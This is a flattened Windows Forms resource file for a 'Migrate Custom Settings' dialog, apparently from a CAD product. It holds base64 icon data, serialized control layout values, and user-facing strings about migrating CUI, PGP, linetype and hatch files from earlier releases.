P/AADAH//wA/8AAMAP/+AC/wAAwAf/4AH/AADAA//gBB8AAMAB/+AIHwAAwAD/4AAfAADAAH/gAB8AAOAAP8AAHwAA8AAfgAAfAAD4AA8AAB8AAPwABgAAHwAA/gAAAAA/AAD/AAAAAH8AAP+AAAAA/wAA/8AAAD//AAD/4AAAf/8AAP/wAAD//wAA//gAAf//AAD//AAD//8AAP/8AAf//wAA//gAA///AAD/8AAB/g8AAP/gAAD8BwAA/8AAAHgDAADwAAAAOAEAAOAAAAAYAAAAwAACABgAAACAAAcAAAAAAIAAD4AAAAAAgAAfwAAAAACAAD/gAAEAAIAAf/AAAwAAgAB/+AA/AACBAH/8AD8AAIIAf/gAPwAA/ABwAAB/AAD0AGAAAP8AAPgA8AAB/wAA/AH4AAP/AAD8A/8AB/8AAP///////wAA////////AAD///////8AACgAAAAgAAAAQAAAAAEAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAHAAAADwAAABMAAAASAAAADAAAAAT///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAHAAAADwAAABMAAAAPAAAABwAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAABAAAACQAAAB4AAAAyAAAAOgAAADcAAAAnAAAADP///wD///8A////AP///wD///8A////AP///wD///8AAAAABwAAAB0AAAAyAAAAOgAAADIAAAAeAAAACQAAAAH///8A////AP///wD///8A////AP///wD///8A////AAAAAAYAAAAdLicmakg/Of9IPzn/SD85/1NLRtAAAAAO////AP///wD///8A////AP///wD///8A////AP///wAAAAAPLSgkZUg/Of9IPzn/SD85/yokIWgAAAAeAAAACQAAAAH///8A////AP///wD///8A////AP///wD///8AAAAADykjIllIPzn/5eLf/+vp5//7+/r/SD85/wAAAA4AAAAOAAAADAAAAAT///8A////AP///wD///8A////AAAAABNIPzn/XmSP/2Juqv9aYY//SD85/yokIWgAAAAeAAAACQAAAAH///8A////AP///wD///8A////AP///wAAAAATSD85/9/b1//l4t//+/v6/0g/Of8/NjRNAAAAHwAAADEAAAAoAAAADP///wD///8A////AP///wD///8AAAAAD0g/Of+or9H/fIa5/3aAtf9dZJD/SD85/yokIWgAAAAfAAAACQAAAAH///8A////AP///wD///8AAAAAAQAAABVIPzn/39vX/+Xi3/9IPzn/LygnTgAAACIuJyZqSD85/1dQStoAAAAS////AP///wD///8A////AP///wAAAAAHSD85/290mf+or9H/fIa5/3V/tf9eZJH/SD85/yokIWgAAAAfAAAACQAAAAH///8A////AAAAAAEAAAAJAAAAIkg/Of/f29f/5eLf/0g/Of8AAAA/JSAfZEg/Of/49/f/SD85/wAAABP///8A////AP///wD///8A////AAAAAAFBOTNGSD85/3B1m/+or9H/fIa5/3aAtf9aYY//SD85/yolImsAAAAfAAAACQAAAAEAAAABAAAACQAAAB4sJiVoSD85/9/b1//l4t//6+nn/0g/Of9IPzn/4+Dd//j39/9IPzn/AAAAD////wD///8A////AP///wD///8A////AAAAAAFAODNDSD85/3F3nf+or9H/fIa5/3V/tf9fZZD/SD85/yolImsAAAAfAAAACgAAAAoAAAAfLCYlaEg/Of/Z087/39vX/+Xi3//r6ef/6+nn/+nn5P/j4N3/+Pf3/0g/Of8AAAAH////AP///wD///8A////AP///wD///8A////AAAAAAFBOTM9SD85/3J5of+or9H/fIa5/3V/tf9WXYv/SD85/yslImoAAAAlAAAAJSwmJWhIPzn/2NPO//f29f+olH3/5eLf//v7+v/7+/r/+/r6//n5+P9IPzn/RTs5RgAAAAH///8A////AP///wD///8A////AP///wD///8A////AAAAAAE/NzI3SD85/290mf+or9H/fIa5/3V/tf9fZZD/SD85/yUgHWsrJSRxSD85/9nUz//39vX/qJR9/9/b1//6+fn/SD85/0g/Of9IPzn/SD85/0U8OjUAAAAB////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAFBOTNGSD85/3F3nv+or9H/fIa5/3R+tP9cY5H/29nY/0g/Of/a1dD/9/b1/6iUff/Z087/+fj3/0g/Of9FOzlDAAAAAf///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAFAODI8SD85/290mf+or9H/fIa5/+Hi6/9IPzn/2tXR//j39v+olH3/2NPO//f29f9IPzn/RTs5QwAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAFAODNHSD85/3J5of/j5Oz/SD85/9vW0v/49/b/qJR9/9nUz//39vX/SD85/0U7OUMAAAAB////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAQAAAAotJyNN29nY/0g/Of/b1tL/+Pf2/6iUff/a1dD/9/b1/0g/Of89NDJRAAAAAv///wD///8A////AP///wD///8AAAAABQAAAA0AAAAPAAAACAAAAAL///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAJAAAAHi4nJmpIPzn/2tXQ//j39v+olH3/2tXR//j39v9IPzn/5+bl6AAAACIAAAAJAAAAAf///wD///8A////AAAAAAUAAAAVAAAAKwAAADEAAAAiAAAADgAAAAP///8A////AP///wD///8A////AP///wAAAAABAAAACQAAAB4pIyJiSD85/9nUz//39vX/qJR9/9nUz//49/b/SD85/97f5v9IPzn/KiUiawAAAB8AAAAKAAAAAf///wD///8AAAAADBQSEDhEOzbdRz449DMtKIcAAAAoAAAADwAAAAL///8AAAAAAQAAAAcAAAAPAAAAEwAAABUAAAAiLicmakg/Of/Y087/9/b1/6iUff/Y087/9/b1/0g/Of/h4uj/e4i5/11kj/9IPzn/Mi4ybQAAACAAAAAKAAAAAf///wAAAAARRTw22kg/Of9IPzn/SD85/z43MbgAAAAlAAAACQAAAAEAAAAJAAAAHgAAADIAAAA6AAAAOyUgH2RIPzn/2dPO//f29f+olH3/2dPO//f29f9IPzn/6+rr40g/Of9vdJn/e4i5/1lgkP9IPzn/MzAydAAAACEAAAAOAAAACgAAABxGPTfnSD85/0g/Of9IPzn/SD85/zw1MJgAAAAPAAAABgAAAB0uJyZqSD85/0g/Of9IPzn/SD85/9/b1//5+Pf/qJR9/9/b1//5+Pf/SD85/0U7OUYAAAACQTkzRkg/Of9xd57/e4i5/19lkP9IPzn/LywwawAAACsAAAAmEg8OQUU9N+hIPzn/Y1pS/9rMwP9IPzn/SD85/wAAAAsAAAAPKSMiWUg/Of/l4t//5eLf/+Xi3//l4t//5eLf/6iUff/l4t//+vn5/0g/Of9EOjg8AAAAAf///wAAAAABQDgyPEg/Of9vdJn/e4i5/251nv9IPzn/Qz9Dqi0oJH5EOzbdSD85/0g/Of/azMD/Y1pS/0g/Of9FPTemAAAAAwAAABNIPzn/6+nn/+vp5//7+/r/+/v6/+vp5//r6ef/6+nn//v7+v9IPzn/RTs5RgAAAAH///8A////AP///wAAAAABQTkzRkg/Of9yeaH/QjQr/0g/Of9IPzn/SD85/0g/Of9IPzn/SD85/0c+OORIPzn/Rj03pAAAAAP///8AAAAAEkg/Of/r6ef/+/v6/0g/Of9IPzn/6+nn/+vp5//r6ef/SD85/zkxL0EAAAAB////AP///wD///8A////AP///wAAAAABOjMuO0g/Of9IPzn/SD85/0g/Of9IPzn/SD85/0g/Of9GPTfmAAAAEf///wD///8A////AP///wAAAAAMSD85//v6+v9IPzn/PzY0TQAAACRIPzn/6efk/+nn5P9IPzn/AAAAE////wD///8A////AP///wD///8A////AP///wAAAAAJPzcyk0g/Of9IPzn/SD85/0g/Of9lW1P/2szA/0g/Of8AAAAL////AP///wD///8A////AAAAAARWTkjISD85/z82NDsAAAAeLicmakg/Of/j4N3/4+Dd/0g/Of8AAAAP////AAAAAAMAAAALAAAAEAAAABAAAAARAAAAEgAAABs2Lyt/SD85/0g/Of9IPzn/XlRN/9rMwP9lW1P/RT03pgAAAAP///8A////AP///wD///8A////AP///wD///8AAAAADiokI1dIPzn/3tnV/97Z1f/49/f/SD85/wAAAAf///8AAAAABwAAABkAAAAqAAAAMQAAADQAAAA4AAAAPEA4M8VIPzn/SD85/0g/Of/azMD/XlRN/0U9N6YAAAAD////AP///wD///8A////AP///wD///8A////AP///wAAAAAMSD85//f29f/39vX/9/b1/0g/Of9FOzlGAAAAAf///wAAAAAERz45rkpAPOZHPjrfRz06301CQP9JPzv5SkA8/0pAPP9IPzn/SD85/0g/Of9FPTeFAAAAAv///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAARbU03RSD85/0g/Of9IPzn/RTw6NQAAAAH///8A////AP///wBCOTcdST87nEpAPNpLQT34S0E9/0pAPP9KQDz/SD879Uc+OMNGPTeEQjo0IwAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////////wH+A/4B/gH+Af4A/gA+AH4APgA8AD4AGAA+AAAAPwAAAD+AAAA/wAAAf+AAB//wAA//+AAf//gAPg/wABwH4AAMAgAABAAAAAAAAAAAAAAIAAAAHAAEAD4APAB/ADwAQAA/gEAAf4BAAP+A4AH////////////////8oAAAAEAAAACAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wBIPzn/SD85/3aAtRD///8A////AP///wD///8A////AFtRSP9bUUj/W1FIsv///wD///8A////AP///wBIPzn/qK/R/3aAtf9IPzn/////AP///wD///8A////AFtRSP/+/v7//v7+/1tRSP////8A////AP///wD///8ASD85/3aAtf+or9H/doC1/0g/Of////8A////AP///wBbUUj/+/r5/1tRSP////8AW1FI/1tRSLL///8A////AP///wBIPzn/doC1/6iv0f92gLX/SD85/////wD///8AW1FI//f19P+Ee3P/W1FI//f19P9bUUj/////AP///wD///8A////AEg/Of92gLX/qK/R/3aAtf/Rz83/W1FI//Px8P/z8fD/////////////////W1FI/////wD///8A////AP///wD///8ASD85/3aAtf/d3+z/W1FI//Dt6/+vo5r//////1tRSP9bUUj/W1FI/////wD///8A////AP///wD///8A////AP///wDRz83/W1FI/+zp5v+vo5r//////1tRSP////8A////AP///wD///8A////AP///wD///8A////AP///wD///8AW1FI/+nk4v+vo5r//////1tRSP92gLUQ////AP///wD///8ASD85MEg/ORD///8A////AFtRSP9bUUj/W1FI/+Xg3f+vo5r//////1tRSP/d3+z/SD85/3aAtRD///8ASD85MEg/Of9IPznwSD85MFtRSP/i3Nj/4tzY/+Lc2P/i3Nj//////1tRSP92gLUQSD85/3aAtf9IPzn/VlNfLkg/OUBIPzn/SD85/0g/OfBbUUj//////1tRSP+Ee3P/3tjU/1tRSP////8A////AP///wBIPzn/SD85/0g/Of9IPzn/SD85/0g/OZBIPzlgW1FIsltRSP////8AW1FI/9rTz/9bUUj/////AP///wD///8AdoC1EEg/Of9IPzn/2szA/0g/OaD///8A////AP///wD///8AW1FI////////////W1FI/01CQA9NQkAlSUA7UElAO3VJPzr/2szA/0g/OfBIPzkw////AP///wD///8A////AFtRSLJbUUj/W1FI/////wBMQj9NTEE+5kxBPv9LQT7/S0E9/0g/OcBIPzkw////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP//AACPjwAADw8AAAcTAACDAwAAwAMAAOAHAADwPwAA8DkAAIAQAAAAAAAAA4AAACODAADAAwAAxAcAAP//AAAL - - - Migrate Custom Settings - - - $this - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAANAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - CUIFilesCheck - - - System.Windows.Forms.CheckBox, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAB5TeXN0ZW0uV2luZG93cy5Gb3Jtcy5GbGF0U3R5bGUBAAAAB3ZhbHVlX18ACAIAAAADAAAACw== - - - HelpBtn - - - System.Windows.Forms.Button, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Windows.Forms.Label, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - ComboText - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - 1 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAB5TeXN0ZW0uV2luZG93cy5Gb3Jtcy5GbGF0U3R5bGUBAAAAB3ZhbHVlX18ACAIAAAADAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAGoBAACwAQAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAFwBAAAVAAAACw== - - - 0 - - - 9 - - - 8 - - - 10 - - - 8 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAEAAAAaAAAAAs= - - - FilesCheckBoxPanel - - - System.Windows.Forms.Panel, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - FilesCheckBoxPanel - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAAB9TeXN0ZW0uRHJhd2luZy5Db250ZW50QWxpZ25tZW50AQAAAAd2YWx1ZV9fAAgCAAAAAQAAAAs= - - - $this - - - UserIconFilesCheck - - - System.Windows.Forms.CheckBox, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - System.Windows.Forms.Button, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - OkBtn - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAAUAAAANAAAACw== - - - InstalledVersionsCombo - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAEABAAAQAAAACw== - - - User-defined line files - - - System.Windows.Forms.ComboBox, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAF0BAAA8AAAACw== - - - One or more previous releases of {0} have been identified on this system. You can migrate settings and files from one of the previous releases of the product to {1}. - - - FilesCheckBoxPanel - - - UserLineFilesCheck - - - System.Windows.Forms.CheckBox, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - {0}.pgp - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAEABAAAQAAAACw== - - - 6 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAEAAAAkAAAAAs= - - - 7 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAAKAAAACw== - - - $this - - - 13 - - - $this - - - 2 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAACQBAAAQAAAACw== - - - CUI files - - - 6 - - - System.Windows.Forms.CheckBox, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - MNUMNSFilesCheck - - - 7 - - - 3 - - - 2 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAHAAAACAAAAAs= - - - System.Windows.Forms.CheckBox, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AcadPgpFilesCheck - - - 11 - - - HeaderText - - - System.Windows.Forms.Label, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 6 - - - 0 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAEAAAAVAAAAAs= - - - FilesCheckBoxPanel - - - System.Windows.Forms.CheckBox, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - UserHatchFilesCheck - - - 4 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAgAAAAQAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAB5TeXN0ZW0uV2luZG93cy5Gb3Jtcy5GbGF0U3R5bGUBAAAAB3ZhbHVlX18ACAIAAAADAAAACw== - - - MNU/MNS files - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAACQBAAAQAAAACw== - - - System.Windows.Forms.CheckBox, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AcadLineFilesCheck - - - FilesCheckBoxPanel - - - Cancel - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAFAAAAAWAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAIAAAAnAAAAAs= - - - 2 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAAKAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAACQBAAAQAAAACw== - - - User-defined icons - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAANAAAACw== - - - FilesCheckBoxPanel - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAAOAAAACw== - - - FilesCheckBoxPanel - - - 7 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAgAAAALAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAFwBAAAwAAAACw== - - - If you don't want to migrate these settings now, you can access this dialog box later through the Windows Start menu. - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - 13 - - - 